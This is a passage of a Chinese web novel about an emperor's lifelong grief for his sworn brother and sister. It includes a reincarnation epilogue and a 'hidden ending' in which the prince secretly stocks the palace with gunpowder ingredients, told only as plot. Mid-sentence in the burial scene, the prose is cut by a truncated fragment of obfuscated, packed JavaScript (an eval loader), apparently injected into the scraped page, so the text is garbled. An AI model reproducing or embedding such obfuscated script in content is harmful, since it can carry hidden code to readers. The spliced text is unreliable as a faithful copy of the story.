他不再仅仅诉说朝政与怨怼,开始絮絮叨叨地讲述一些琐碎的日常,事无巨细。朝政得失,边关战报,燕沧溟打了多少次胜仗,受了多少次伤,乃至御花园里哪株梅树今年开花晚了,御膳房新来的点心师傅手艺如何,他都一一记录下来。 如此,日复一日,年复一年。这些信隔着无形的屏障,向那个再也收不到信的人,汇报着他治理下的山河,絮叨着他们共同在意的人和事,仿佛在与一个远行的至亲闲谈。只是那闲谈的背后,是无边无际,被岁月沉淀后愈发浓郁的孤寂。 “师兄,燕师姐昨晚拉着我喝了一夜的酒,说起当年在冷宫中秋,带来的那坛‘忘忧’……酒还是那个味道……” “师兄,御花园那株你曾赞过的老梅,今年花开得极盛,雪落枝头,红白相映,煞是好看。” “师兄,燕师姐上月回京,带着她收养的那对兄妹,皮得很,差点烧了御书房的帷幔。她倒是笑得开怀,说像我们小时候。” “师兄,昨日御膳房新进了江南的糕点,甜得发腻,不如你当手做的那罐桂花蜜。” “师兄,燕师姐昨日与我吵架,说我……愈发像你,心思沉得让人猜不透。” “师兄,今日春猎,于西山见鹿,其眸清亮,如你赐我的那把玉锁。箭在弦上,终未发。” “师兄,燕师姐前日来信,于北境又揍了几个不开眼的部落首领,缴获良马数百。信末抱怨边关酒劣,要我下次多赐些御酒去。我已命人准备,她性子依旧如火,多年未见你也必定能一眼认出,哪怕她……鬓边见了那些星霜。” “师兄,昨夜梦回冷宫,见你提灯立于槐树下,唤我阿绝。醒来枕衾尽湿,殿外雨声淅沥,与当年一般无二。” “师兄,今晨照镜,白发又添数根。若你在,也许要笑我执着皮相。可我……只是怕你认不出老去的我。” “师兄,我也老了。” 起初他只是写信,似那人只是远游,书信总能抵达那人所在的驿站。 后来他害怕了。害怕岁月无情,会磨灭脑海中那张越来越模糊的脸。 他开始学画。 一代帝王,拜师宫廷画师,从最基础的勾勒皴擦,笔墨线条学起。他画山水,画花鸟,画这宫阙万千,画边关的风沙与军帐,画燕沧溟策马扬鞭的英姿。 但最多的,还是画那个人。画他在灯下看书,画他在雪中行走,画他于宫墙回首时,那清浅淡然的一笑。 他画他们初遇的雪夜冷宫,画他们夏日采莲嬉闹,画中秋月下泥地上的三个字,画他们秋日翻墙出宫偷闲,画他们,画他们潜思殿共度的灯火……他画尽了一切与他们相关的场景,笔下山水人物皆栩栩如生,可画到那人的面容时,却总隔着一层挥之不去的雾。 最初的画作,形似尚难,更遑论神韵。他一遍遍撕毁,又一遍遍重画,偏执得如同对待最艰难的政事。岁月在笔尖流淌,他的画技日益精湛,山水有了魂魄,人物渐具风神。他笔下的燕沧溟豪气干云,仿佛下一刻便要破纸而出。 他画得越像,心中的恐慌却越甚。 因为他发现,他画出的,越来越是他笔下理想的那个人,是经过无数次修饰美化后的形象。而那个真实的,会无奈叹气,会指尖微凉,会带着一身药香靠在他肩头小憩的人,那个有着活生生的温度的人,正在他的记忆里一点点褪色,远去。 燕沧溟,最终是马革裹尸还的。 那是一场算不得惊天动地,却足够惨烈的边境摩擦。彼时她已年过花甲,爵至镇国公,本可在京中安享尊荣。然狄戎一部骤然犯边,屠戮边民,劫掠粮草。军报传至京城,她当夜便叩宫请战。 玉凌绝于殿见她,烛火下,她鬓角已染霜华,眼神却锐利如初,脊梁挺得笔直,一如当年冷宫里那个翻墙而入的红衣少女。 “陛下,北境是臣的半条命,狄戎是臣一生的对手。”她声音沉静,却带着不容置疑的决绝,“这最后一仗,让臣自己去打。给这辈子……做个了断。” 玉凌绝看着她,仿佛透过岁月,看到了那个将短匕拍在石碑上,朗声说“以后师姐教你”的明媚身影。他沉默良久,最终只吐出一个字:“准。” 他下旨北境诸军皆受镇国公节制,倾力配合。 她赢了,如同她此生绝大多数战役一样。以一场精心策划的迂回包抄,将那个部落的主力诱入绝境,首领被她亲手斩于马下,用的是当年送予玉凌绝那柄短匕的同炉所出的长刀。 大胜之后,清理战场时,一支藏于尸堆中的冷箭,带着垂死敌人的最后恶意,射穿了她覆霜的肩甲。亲兵惊呼着要上前,却被她挥手制止。她只是闷哼一声,随手折断箭杆,任由鲜血浸透战袍,依旧策马立于阵前,直到亲眼看着最后一名负隅顽抗的狄戎骑兵被剿灭。 凯旋的号角响彻云霄。她端坐于马上,看着麾下儿郎们的欢呼,看着北境苍茫的天空,缓缓闭上了眼睛,再也没有睁开。 军医说她不是死于那道新伤,是多年征战的沉疴旧疾,连同这一战的耗尽心力,一同带走了她。她去得干脆利落,甚至没给任何人拖泥带水,悲悲切切的机会。 消息传回时,玉凌绝正在批阅奏章。他捏着那封八百里加急的军报,在龙椅上静坐了整整一个时辰,面色平静无波,唯有捏着军报的手指,指节泛白,微微颤抖。 他没有流泪,也没有立刻下旨。只是当夜,他独自一人走进了潜思殿,在那局残棋前坐了很久。然后,他铺开信纸,墨迹比以往任何一次都要沉滞。 “师兄,”他写道,“师姐……去找你喝酒了。” 笔尖在此停顿,一滴浓墨坠下,晕开了最后的一笔。他搁下笔,再也写不出更多。 燕沧溟的灵柩运回帝都时,玉凌绝以军礼迎她。他没有穿龙袍,而是换上了一身玄色常服,独自站在城门下,看着那具覆盖着血色战旗的棺椁缓缓驶近。 他仿佛还能听见她爽朗的笑声,看见她嫌弃地拍着他的背,骂他“臭小子”,能感受到她递过粗面饼子时,掌心粗糙温暖的触感。 那个像一团永不熄灭的火焰,像一棵傲然挺立的白杨,陪他走过冷宫,走过宫变,走过失去那人后所有孤寂岁月的人……也走了。走得干脆利落,正如她的一生。 他遵循了她的遗愿,没有将她葬入皇陵,而是将她送回了北境,葬在了她驻守半生的天阙关外,一处面朝狄戎方向的高坡上。墓碑是她生前自己选定的,只刻了五个字: “燕沧溟在此” 没有谥号,没有尊称。她说,这样,便能镇得狄戎百年不敢南顾。碑文是她惯有的嚣张笔触,力透石背。玉凌绝没有为她举行盛大的国丧,他知道她不喜欢,他也没有常年累月地给她写信,他知道她会骂他婆妈。 下葬那日,北境风雪呼啸。玉凌绝亲自前往,没有仪仗,没有随从,只一身单薄黑袍,徒步走上高坡。雪花落满了他花白的头发与肩头,他也浑然不觉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在一个同样飘着雪的深冬,垂暮的帝王最后一次走进潜思殿。他没有铺纸,没有研墨,只是颤巍巍地走到那堆积如山的信笺和画轴前,伸出布满老年斑的手,轻柔地抚过。 然后,他缓缓坐进那张伴随了他一生,属于莫忘之的旧椅里,像一只终于飞累了的老雀,蜷缩起来。 窗外又下起了雪,与七十多年前那个相遇的夜晚一模一样。他怔怔地看着窗外肆意的风雪,看了很久很久,仿佛在期待那风雪中,能再次走出一盏暖黄的琉璃宫灯。 他颤巍巍地再次铺开宣纸,想完成最后一幅画。他告诉自己,这是最后一次,最后一次回忆他们初遇的雪夜。他画得出冰冷的宫墙,画得出纷飞的大雪,画得出那个蜷缩在角落的幼小自己。 可当他再次铺开宣纸,可当他试图去描绘那个提灯而来的身影时,想描绘初遇那人的眉眼时,却骤然停笔。笔悬在半空,墨滴落下,在纸上泅开一团无奈的灰影。 一种比死亡更冰冷的恐惧瞬间攫住了他。他拼命在脑海中搜寻,他记得那两颗痣的位置,记得那疏离的气质,记得他说话时嘴角微妙的弧度……这些特征的碎片都在,如同散落的珍珠。可当他试图用记忆的丝线将它们串联成一张完整而生动的面容时,那根线却断了。 脑海中,那张他曾以为刻骨铭心永世不忘的脸,不知从何时起已然变得一片模糊,如同隔着一层再也擦不干净的水雾。只剩下一个清瘦的月白色的轮廓。 “啪嗒”一声,笔从老人枯瘦的指间滑落,在洁白的宣纸上滚出一道狼狈的墨痕。 他发现自己最终还是忘记了。 他画尽了世间的笔墨,却终究还是没能留住时光。 岁月无情,也不曾为任何人停留。 “莫忘之……”他对着画中人,如同一个做错了事的孩子,哽咽低语,“我……我还是忘记你的样子了……忘了……忘之,莫忘之……” 他的声音苍老沙哑,充满了无尽的悲凉与不甘。然而他仿佛又听到了那个人的声音,穿越了几十年的光阴,在耳边轻轻响起,带着一如既往淡淡的叹息: 亡失其心,便是为忘。 有些事,有些人,忘了也好。 一滴混浊的泪,从老人布满皱纹的眼角缓缓滑落,砸在那道突兀的墨痕上,晕开一小片无奈的灰影。 老人蜷缩在宽大的椅子里,望着窗外无边的风雪,终于放弃了与记忆的最后抗争。他不再试图去勾勒那张模糊的脸,只是静静地坐着,任由那名为遗忘的雪花,一片片,覆盖了他全部的过往。 殿外,风雪依旧。仿佛什么都没有发生,又仿佛,一切都已终结。 那日后,他的身体便如同深秋的枯叶,迅速地衰败下去。他不再尝试作画,也不再踏入潜思殿。多数时候,他只是静静地躺在乾元殿的龙榻上,眼神空洞地望着殿顶的蟠龙藻井,仿佛在等待一个约定的归期。 他知道,时候到了。 他唤来了那位自莫忘之去后,便一直沉默地替他守着这潜思殿的老内侍——当年忘之身边最信任的心腹。 “朕……去后,”他的声音微弱而清晰,“殿里……所有的信,所有的画……在那冷宫……都烧了。” 老内侍猛地抬头,浑浊的眼里满是震惊与不解:“陛下!那都是您……” “烧了。”玉凌绝打断他,语气平静得可怕,带着一种不容置疑的决绝,“统统烧掉。连同这殿里……所有他留下的痕迹……一起。” 说罢,他疲惫地闭上眼,仿佛用尽了最后一丝力气,仿佛卸下了背负一生的重担,才缓缓说出那个萦绕在他心头一生的愿望,声音轻得像梦呓: “下辈子……我们三个……就投生在寻常百姓家。” 他微微侧过头,望向窗外依旧纷飞的大雪,目光似乎穿透了宫墙,望向了很远的地方。 他停顿了许久,苍老的唇边,竟缓缓漾开一个浅浅的弧度,带着某种如释重负的期盼。 “……我做弟弟。让师兄……做哥哥。师姐,还是姐姐。” “没有江山之重,没有宫闱倾轧……就寻常地……过一辈子。” 话音渐渐低弱下去,终不可闻。 那一夜,风雪弥漫了整个紫禁城,覆盖了来路,也掩去了归途。 翌日清晨,宫钟长鸣,昭告天下:肃帝驾崩。 而在葬礼之后,老内侍独自一人,走进了那座尘封已久的潜思殿。 他看着那堆积如山的信笺,看着那些或青涩或沉郁或绝望的笔迹,看着画纸上那从清晰到模糊的容颜,老泪纵横。 他遵照了最后的旨意。 焚烧是在一个深夜进行的,在故事最开始的地方,那废弃多年的冷宫旧址。火舌贪婪地舔舐着堆积如山的桑皮纸,墨迹在烈焰中蜷曲焦黑,化作纷扬的灰蝶。画轴上的容颜在火光中明灭,仿佛最后一次凝视这人世间。 冲天的火光映亮了漫天飞雪。所有的思念,所有的挣扎,所有不为人知的故事都在这场大火中化作了灰烬,随风雪散去。 仿佛这样,就能抹去一个人存在过的所有证据,就能让那漫长而孤独的一生,了无痕迹。 也仿佛这样,那个一生都困在宫廷与回忆里的孩子就能真正获得自由,去奔赴那场迟了太久的,寻常人家的约定。 然而,总有些许漏网之鱼。一位知情而心怀不忍的老守卫,从火堆边缘抢救出了几封未被完全引燃的信札,几卷边缘焦灼,画面却大致完好的画轴,悄悄藏于袖中,秘密送出宫外。 时光流转,王朝更迭。那些侥幸存世的信与画,几经颠沛,流落民间。它们被藏在旧书肆的故纸堆中,被小心地裱糊在寻常百姓家的屏风夹层里,被不识货的古董商当作无名画师的习作,随意摆放。 直到数百年后,一个细雨蒙蒙的午后。 一位致力于研究景朝秘史的年轻学者,在一家即将拆迁的老宅杂货店里,发现了一卷色泽暗黄,边缘有着明显灼烧痕迹的画轴。 他小心翼翼地展开,画中是雪夜宫墙与枯树,一个背对月光身影修长的少年侧影清癯,脸上带着淡淡而真实的笑意仿佛能穿透纸张,直抵人心。 画旁有一行小字,是另一种更为凌厉的笔迹:“元初三年冬夜,初见。彼时,不知是劫是缘。” 学者如遭雷击,他认出那凌厉的笔迹属于史书上那位著名的肃帝玉凌绝,而那画中之人…… 随后,他通过各种渠道,又陆续搜集到了一些残破的信笺。那些桑皮纸脆弱得仿佛一碰即碎,上面的字迹却依旧清晰: “师兄,燕师姐昨晚拉着我喝了一夜的酒,说起当年在冷宫中秋,你带来的那坛‘忘忧’……酒还是那个味道……” “师兄,昨夜梦回冷宫,见你提灯立于槐树下,唤我阿绝。醒来枕衾尽湿,殿外雨声淅沥,与当年一般无二。” “师兄,今晨照镜,白发又添数根。若你在,也许要笑我执着皮相。可我……只是怕你认不出老去的我。” 他还发现了世间幸存的另一张画,画中一位女将跨坐于骏马之上,正于千军万马中挽弓欲射,马尾高扬,眉眼间的英气与豪情几乎要破纸而出。最引人注目的是,画中人的右耳边,清晰地编着一缕细小的发辫。 一封封信,一幅幅画,如同散落的拼图,缓缓拼凑出一段被正史遗忘的故事。史书只记载肃帝玉凌绝雄才大略,肃清内外,开创盛世。 学者将他的发现整理成册,名为《潜思遗牍》。此书一出,天下哗然。那些冰冷的史实,仿佛被注入了滚烫的血肉。 而那被历史铭记的画卷,以及那些残存的信札,被珍藏于博物馆最深处。它们安静地躺在恒温恒湿的玻璃展柜内,接受着后世无数好奇惊叹乃至唏嘘的目光。 无人注意时,博物馆年迈的老馆长,那位毕生研究景朝历史的学者,总会独自在闭馆后,在那展柜前驻足良久。 他看着画中那清逸出尘的身影,看着信札上那力透纸背却写满孤独的字句,总会想起史书中关于那位前太子莫忘之寥寥数语的记载:“聪慧仁弱,让位于弟,早薨。” “早薨……”老馆长喃喃自语,昏花的老眼透过厚厚的镜片,仿佛看到了数百年前,那个雪夜冷宫里相互依偎的孩子,那个中秋月下泥地上写字的少年,那个在血与火中登基,却终其一生都在对着空无一人的潜思殿写信的帝王。 历史的洪流滚滚向前,淹没了许多真相,却也总有一些故事如同磐石,在水落石出之后,显现出它原本不朽的模样。 二十一世纪,国家博物馆,景朝特展。 展厅内光线调控得恰到好处,冷白的射灯精准地打在玻璃展柜内的文物上。空气中弥漫着恒温恒湿系统轻微的运行声,以及游客们压低的交谈声。 三个年轻的身影,随着人流,缓步移动。 “人真多……”玉凌绝微微蹙眉,似乎不太习惯这种人潮拥挤的场合。 “毕竟是无价之宝,《潜思遗牍》的真迹,听说这次是破例展出。”莫忘之目光扫过展厅,语气平静。 燕沧溟显然提前做了功课,兴致勃勃:“那边那边,《雪夜初见图》和《天阙猎鹰图》好像就在前面!” 他们随着人流,挤进了一个格外拥挤的分展厅。展厅中央的独立展柜旁,立着醒目的提示牌:“镇展之宝——《潜思遗牍》及肃帝御笔画作精选”。 玉凌绝的脚步不由自主地顿住,目光穿透层层人群,落在了展柜中心,那幅被恒温恒湿技术精心保护着的《雪夜初见图》上。 画纸泛黄,墨迹已因岁月而微微淡化,但画技之精湛,情感之饱满,扑面而来。标签注明:“肃宗帝御笔《雪夜初见图》,据考为其晚年追忆义兄靖王所作。” 那是一个雪夜,宫墙,枯树,一个背对月光身影修长的少年,脸上带着一种……仿佛寻觅已久,终得所愿而真实的笑意。画旁有一行小字,是肃帝晚年笔迹,墨色深沉: “元初三年冬夜,初见。彼时,不知是劫是缘。” 玉凌绝静静地看着。不知为何,心脏像是被什么东西轻轻撞了一下,一种莫名混杂着酸楚与悸动的情绪悄然蔓延。他下意识地抬手,指尖隔着玻璃,虚虚拂过画中人的轮廓。 “画得真好……”他低声喃喃,自己都觉得这感慨来得有些突兀。 莫忘之站在他身侧,目光也落在画上,平静的脸上没什么表情,只是指尖无意识地蜷缩了一下,轻轻碰了碰自己的手腕。 “走吧,去看看别的,那边好像有幅画特别帅!”燕沧溟似乎没注意到两人细微的异样,兴致勃勃地拉着他们走向旁边另一个独立展柜。 这个展柜里陈列的是一幅风格截然不同的画作《天阙猎鹰图》。画面上,一位身着暗红劲装的女将军,正于马上回身张弓,马尾飞扬,眼神锐利如鹰,背景是苍茫的北境关山。画作充满了力量感与动感,眉宇间的飒爽与豪气几乎要破纸而出,与《雪夜初见图》的静谧内敛形成鲜明对比。标签写着:“肃宗帝御笔《天阙猎鹰图》,据考为追念一代女将燕氏沧溟所作。” “哇!”燕沧溟眼睛瞬间亮了,她几乎是扑到了展柜前,指着画中人道:“你们快看!这也太帅了吧!这动作,这眼神……诶,你们觉不觉得……”她忽然顿了顿,左右看了看玉凌绝和莫忘之,又对着玻璃柜壁模糊的倒影照了照自己,然后叉着腰,颇为自得地笑了起来,“嘿嘿,别说,这潇洒不羁的劲儿,跟我还挺像的!” 燕沧溟的话语爽朗,带着她特有的自信与玩笑意味,瞬间冲淡了刚才围绕《雪夜初见图》的微妙沉重感。 玉凌绝和莫忘之闻言,都下意识地看向她,又看向画中那策马扬鞭,意气风发的女将军。玉凌绝下意识地摸了摸自己的左耳,仿佛那里应该有什么东西随着她的笑声轻轻晃动。 “是有点像。”莫忘之轻轻颔首笑起来,那笑意不再疏离,反而带着一种了然的温和。 “走吧,去看看那些信。”燕沧溟心情大好,又拉着他们走向陈列信笺的区域。 这里陈列着数封精心挑选出的信笺真迹,旁边配有清晰的译文展板。玻璃柜内,桑皮纸脆弱,墨迹或凌厉或平和,无声地诉说着千年前一位帝王的内心世界。 三人在展厅中慢慢走着,看着那些画像,读着那些信件。 玉凌绝停在一封晚期信笺前,译文清晰地写着:“师兄,昨夜梦回冷宫,见你提灯立于槐树下,唤我阿绝。醒来枕衾尽湿,殿外雨声淅沥,与当年一般无二。” 他的目光死死盯着那行字,脑海中不受控制地闪过一些破碎模糊的画面——冰冷的宫墙,摇曳的树影,琉璃宫灯那暖黄的光晕,一只微凉的手覆在他的手背上,带着他写下歪斜的笔画……他猛地甩了甩头,试图驱散这荒谬的幻想。 莫忘之则被另一封更晚的信吸引,那颤抖的笔迹旁,译文是:“师兄,今晨照镜,白发又添数根。若你在,也许要笑我执着皮相。可我……只是怕你认不出老去的我。” 他看着那封信,沉默地站在那里,侧脸在屏幕光线的映照下,仿佛与画中某个身影隐隐重叠。他轻轻地叹息了一声,连自己都未曾察觉。 燕沧溟看着身边两个神色各异的同伴,又想起刚才那幅《天阙猎鹰图》,一种莫名强烈的熟悉感也汹涌而来。她眨了眨眼,忽然用胳膊肘碰了碰玉凌绝,指着旁边一个展柜里陈列的,据说是肃宗帝珍爱的一柄短匕复制品,玩笑道:“阿绝你看这个,像不像你小时候跟我学武术,死活要买的那把玩具刀?” 玉凌绝一愣,看向那古朴的匕首,一段几乎被遗忘的童年记忆浮现,他确实曾痴迷于一把类似的玩具短匕,甚至睡觉都要放在枕边。他失笑摇头:“多少年前的事了……” 他无心的话语,却像一把钥匙,轻轻叩开了某个尘封的角落。 三人面面相觑,一种荒谬又难以解释的默契在空气中无声流淌。没有惊心动魄的记忆复苏,没有恍如隔世的痛哭流涕,只有一种淡淡的,如同水纹般荡漾开的熟悉与……释然。 “走吧。”最终是莫忘之先开了口,声音依旧平静,却仿佛多了些什么。他伸手,轻轻拍了拍玉凌绝依旧紧绷的脊背,“这里人太多了。” 玉凌绝深深吸了一口气,最后看了一眼那画,那信,仿佛要将那纠缠了另一个人一生的执念看穿。然后他转过身,点了点头。 走出博物馆,午后的阳光明媚而温暖,洒在车水马龙的街道上,刚才在展厅里那莫名沉重的压抑感,在阳光下渐渐消散。 燕沧溟伸了个懒腰,笑嘻嘻地一手一个揽住两人的肩膀:“哎呀,看个展览还看难过上了!走,姐请客,吃火锅去!” 玉凌绝感受着肩头传来充满活力的重量,侧头看了看身边笑着点头的忘之,又看了看笑容灿烂的燕沧溟,心中那积郁的酸楚与悸动奇异地平复了下去。取而代之的是一种温暖又踏实的感觉。 少年有些狼狈地抹了下眼角,强自镇定:“谁难过了?就是……有点感慨。” 莫忘之看着他们,目光温和,那笑容轻松而真实,不再是博物馆里那般沉重:“走吧。” 阳光将三人的影子拉长,交织在一起,落在熙攘的人行道上。 没有人间的波诡云谲,没有宿命的沉重枷锁。只是三个寻常的年轻人,走在寻常的街道,奔赴一场寻常的聚会。 或许在某个不为人知的命运转角,那跨越了生死的遗憾,那持续了半生的漫长书信,那最终未曾燃尽的画稿与信笺所求的,也不过就是这样一个,阳光正好,故人依旧,能够并肩走向烟火人间的寻常午后。 千年一瞬,执念终成过往。 而此刻,即是圆满。 (全文完) 41. 【隐藏结局】人间别久不成悲 消息是在一个看似寻常的午后传来的。 阳光透过窗棂,在光洁的地面上投下规整的光斑,空气里浮动着细微的尘埃,静谧得能听见铜漏单调的滴答声。 北境天阙关风雪夜破,主将燕沧溟身中十七箭,力竭阵亡。同日,边军侧翼驰援途中遇伏,玉凌绝所在先锋营遭人出卖,乱军践踏,最终连一块完整的佩玉都未能寻回。 两份军报,一先一后,轻飘飘地落在了莫忘之的书案上,墨迹犹湿,似淌着北疆未干的血。 殿内死寂。负责呈报的内侍跪在地上,头颅深埋,几乎能听到自己血液冻结的声音。他预想中的雷霆之怒,悲恸欲绝,或者任何属于“人”的激烈反应,一样都没有发生。 莫忘之只是静静地坐着,目光落在军报上那两个熟悉到刻入灵魂的名字上,良久,良久。他的眼神空茫,仿佛透过这薄薄的纸页,看向了十分遥远的地方,那里有雪夜的冷宫,有荷塘的清香,有老槐树下的结拜誓言。 然后他伸出手,指尖极其轻柔地拂过那两个名字。小心翼翼,带着一种近乎仪式感的珍重,又像是在无声地确认某种……早已预料到并已经历过无数次的结局。而指尖传来的,只有纸张的冰冷和墨迹的微凸。 他甚至没有去看那内侍惶恐的脸,只是近乎自语般地吐出三个字: “知道了。” 他的声音平静无波,听不出任何情绪,仿佛只是接到了一份关于边关寻常粮草损耗的汇报。他甚至对那吓得魂飞魄散的内侍,近乎礼貌地弯了一下唇角,右嘴角那颗浅痣随之微动。 “下去吧。” 那笑容很淡,未达眼底,甚至带着一股安抚的意味,却让那内侍浑身一颤,连滚带爬地退了出去,仿佛身后不是温雅的太子,而是吃人的恶鬼。 殿门合上的轻响过后,书房内重归死寂。莫忘之维持着原来的姿势,一动不动。窗外午后的阳光斜斜照入,在他清瘦的侧脸上投下斑驳的光影,却照不进他那双失去焦点的眼眸。 他缓缓靠向椅背,闭上了眼。 脑海中闪过的不是他们惨烈的死状,而是些破碎的无关紧要的片段:是燕沧溟将硬邦邦的肉饼塞进他手里时,那别扭又明亮的眼神;是玉凌绝第一次写出工整的“忘”字时,偷偷瞥向他寻求认可的目光;是冷宫老槐树下,三人分食那罐桂花蜜,那甜腻到发慌的滋味…… 无论重复多少次,无论他如何小心翼翼地规避,命运的轨迹总会以各种方式,殊途同归地走向毁灭。他以为自己这一世的精心算计能护住这两缕微光,结果,只是换了一种更惨烈的方式熄灭。 他一直维持着那个端坐的姿势,夕阳的光线透过窗棂,一寸寸移动,最终将他整个人笼罩在一种温暖却诡异的橙红色光晕里。 当最后一缕天光被夜幕吞噬,他没有唤人点灯。 东宫主殿自此陷入永夜。他习惯于坐在那片浓稠药香与墨香交织的黑暗里,只有清冷的月光偶尔勾勒出他清瘦的轮廓。值夜的内侍有时会听到殿内传来仿佛手指无意识敲击桌面的轻微声音,规律得令人心慌;有时,又会是一片死寂,静得仿佛里面空无一人。 次日,他依旧准时出现在朝堂之上。 他穿着太子的朝服,举止合仪,应对得体。当宰相一派的官员再次借边关失利含沙射影,暗示“年少冒进,贻误军机”时,他没有像以往那样迂回反驳,也没有动怒。 他只是抬起眼,静静地看向那位滔滔不绝的官员,脸上依旧带着那抹温和又近乎疏离的笑意,缓缓开口,声音不高,却让喧闹的朝堂瞬间安静下来: “李大人似乎对边关军务了如指掌,细节处竟比军报更为详实。”他微微笑道:“不如,亲赴北境,实地勘查,以正视听,也好……告慰英灵?” 他的语气甚至带着一点商量的口吻,很轻,很缓。但那位李大人被他看得浑身发冷,后面所有编排好的攻讦与嘲讽都僵在喉咙里,一个字也吐不出来,讷讷地退了回去,背后瞬间被冷汗浸湿。 那日之后,莫忘之依旧是那个温文尔雅的太子,照常临朝,听百官争论,甚至在老皇帝因丹药而精神不济时,代为处理部分政务,他在与国师宰相于御前虚与委蛇时,那份从容与耐心似乎比往日更胜一筹。他还主动提出了几项整顿吏治,安抚流民的议案,条理清晰,逻辑缜密,引得几位中立的老臣暗自赞叹太子殿下虽遭边关噩耗,却能化悲愤为国事,实乃社稷之福。 只是,他不再需要那盏琉璃宫灯了。那盏曾夜夜陪伴他前往冷宫,温暖了玉凌绝无数个寒夜的灯,被静静地搁置在角落,蒙上了一层薄灰。 莫忘之开始着手一些看似与他太子职责相关,却又有些微妙的事情。 他以“整饬宫禁,防患未然,尤其需警惕狄戎趁国丧(指边关大将陨落)之际作乱”为由,下令调阅皇城所有水道库房与建筑图纸,尤其是那些前朝遗留,久未使用的密道与地下结构。 他看得极其专注,时常屏退左右,独自对图沉思至深夜。烛火摇曳下,他的侧脸平静无波,只有执笔的指尖偶尔在图纸上某些关键处落下清峻的标注。若有精通建筑或军事的能士靠近细看,便会发现那些被朱笔圈出的地方,并非防御重点,反而是宫墙最关键的承重节点,历代翻修时留下的隐秘通风口,以及……最适合大量隐蔽地囤积某些“特殊物资”的废弃库房。 他以“宫中近年时有小火,需严加防范”为名,召见了宫内负责营造和仓储的官员。他问得极其细致,从宫中防火的水缸是否按制蓄满,到旧年库房里是否还存着前朝炼丹留下的硝石硫磺木炭等“晦物”,再到各宫主殿通道是否畅通无阻,若有火灾,何处最易疏散,何处……最易成为绝地。 他问这些话时,语气平和,目光专注,甚至在一位老工匠回话清晰,数据确凿时,还会微微颔首,露出一个表示赞许却毫无温度的笑意,仿佛他关心的真的只是宫廷的消防安全。 所有这些行动,都被完美地包裹在“太子殿下忧心国事,恪尽职守”的外衣之下,合情合理,无人能质疑其动机。 只有一次,在一个飘着细雨的黄昏,他没有带任何随从,独自一人撑伞,走到了那处已然彻底荒废的冷宫苑落。 那棵见证了他们三人月下结谊的老槐树,在他许久未曾踏足后,竟已无声无息地彻底枯死,黝黑虬结的枝干狰狞地刺向灰蒙蒙的天空,如同大地绝望伸出的手臂。 他站在树下,伞沿微微后倾,仰头静静地看了很久很久。冰凉的雨丝沾湿了他的鬓发和肩头,他也浑然不觉,与这枯树和断壁残垣融为一体。 然后,他缓缓抬起未撑伞的那只手,用指尖,轻缓地拂过那粗糙干裂毫无生机的树皮,从粗壮的主干,到那道深刻的裂痕。 他的脸上没有任何表情,没有悲恸,没有愤怒,没有怀念,只有空茫的平静。仿佛在触摸一具早已冷却又熟悉的尸骸,又像是在进行一场迟到已久而无声的告别仪式。 一声低笑从他喉间逸出,带着无法言喻的疲惫与荒谬。 那笑声低哑,融在淅沥的雨声里,几乎微不可闻,却带着种洞悉了一切荒谬与循环宿命的意味。 他转身,撑着伞,步履依旧从容平稳地离开了这片埋葬了他此生最后一点温情的废墟,没有回头。 很快,一个“绝佳”的机会,被命运——或者说,被莫忘之自己,推到了面前。 北境连失主帅,国之将亡的恐慌与天象屡现异兆的流言,终于在朝野上下弥漫开来。在国师与宰相各怀鬼胎的推动下,惶惶不可终日的老皇帝下旨,于冬至之夜,举行一场本朝空前隆重的祭天典礼,旨在祈求上苍护佑,稳固国本,驱除“不祥”。 这场规模浩大的祭祀,由国师亲自主持法仪,宰相负责一应物资调度,而协理全局的重任,则顺理成章地落在了监国太子莫忘之的肩上。 消息传来,莫忘之在朝堂上垂首领命,姿态恭谨,带着为国分忧的凝重。 “儿臣,定当竭尽全力,不负父皇所托。” 他的声音温和而坚定,听不出丝毫异样。唯有一直侍立在他身侧的那名心腹内侍,在低垂的眼睫下,捕捉到了对方那指节微微泛白的手。 整个皇城如同一架被上紧了发条的机器,开始为这场关乎国运的盛典疯狂运转起来。而莫忘之正是这架机器的操控核心。他以令人叹为观止的效率与冷静,接手了所有统筹工作。 他以“祭天乃与上天沟通,需涤荡一切污秽不祥之气”为由,下令彻底清查并清空宫中几处前朝遗留,久已废弃的丹房旧库以及被认为“阴气过重”的偏僻宫苑。 “凡前朝方士遗留之丹药原料,乃至与之相关的所有‘晦物’,皆需登记造册,妥善封存,待祭典后统一处理,以免冲撞天神。”莫忘之在吩咐负责此事的工部官员时,语气平和,却带着不容置疑的权威。 于是,那些被遗忘在角落堆积如山的硝石硫磺木炭,以及各种成分不明的炼丹材料,被冠以“秽物”之名,从阴暗的角落里清理出来。在莫忘之绝对信任的东宫属官监督下,这些危险的“秽物”并未被运走销毁,而是被重新分类压实,巧妙地封装成一个个看似普通的祭祀用品箱篓,借着夜色,被悄然转运至紫禁城几个关键宫殿的地下库房夹墙,甚至是支撑大殿的础石空间内。所有经手之人,皆被严厉告诫,此乃“驱邪秘法”,不得外泄。 祭天大典,万邦来朝(纵然如今已无万邦,但场面要做足),皇城体面至关重要。莫忘之以此为由,动用工部匠人,对主要宫殿尤其是紫宸殿及祭天广场周围的建筑,进行一次彻底的“安全检修”。 “务必仔细查验殿基梁柱,疏通所有排水暗道,确保祭典期间,无任何安全隐患。”他对领命的将作大匠如是说,神情是纯粹的忧心国事。 借着检修殿基,加固结构,疏通地下排水系统的名义,工匠们在莫忘之亲信指导下,毫无阻碍地将那些封装好的特殊箱篓,安置在了计算好的承重节点和通风要害处。整个过程,隐藏在叮当作响的劳作声和正常的工程流程之下,天衣无缝。 莫忘之又提出,祭天当日,需“灯火通明,焚香不绝,直至次日天明,以示诚心,引导天神目光”。此议深合国师之意,老皇帝也点头应允。 于是,在祭典前数日,大量的灯油烛台以及皇室特制的,掺入了更多助燃香料的香饼,被源源不断地运入宫中,堆放在各主要宫殿的廊下角落,乃至祭坛周围。空气中开始弥漫一种浓郁到令人头晕的香火气息,掩盖了其他微妙的火药味。 他以“确保祭典庄严肃穆,防止闲杂人等冲撞仪轨”为由,重新规划了祭典当日的禁军布防与宫人活动区域。那些无足轻重的底层宦官宫女,被合理限制在几条偏僻的通道附近活动。而所有皇室成员,高品阶官员的聚集区则被他的亲信以“护卫圣驾”,“保障贵人安全”的名义,无形中与那些宦官宫女隔离开来。 他做得太完美了。每一项指令都合乎礼法,每一个安排都显得深思熟虑。国师满意于太子对祭祀的重视,宰相乐见其忙于事务无暇他顾,老皇帝则在丹药的迷幻中,期待着上苍的救赎。 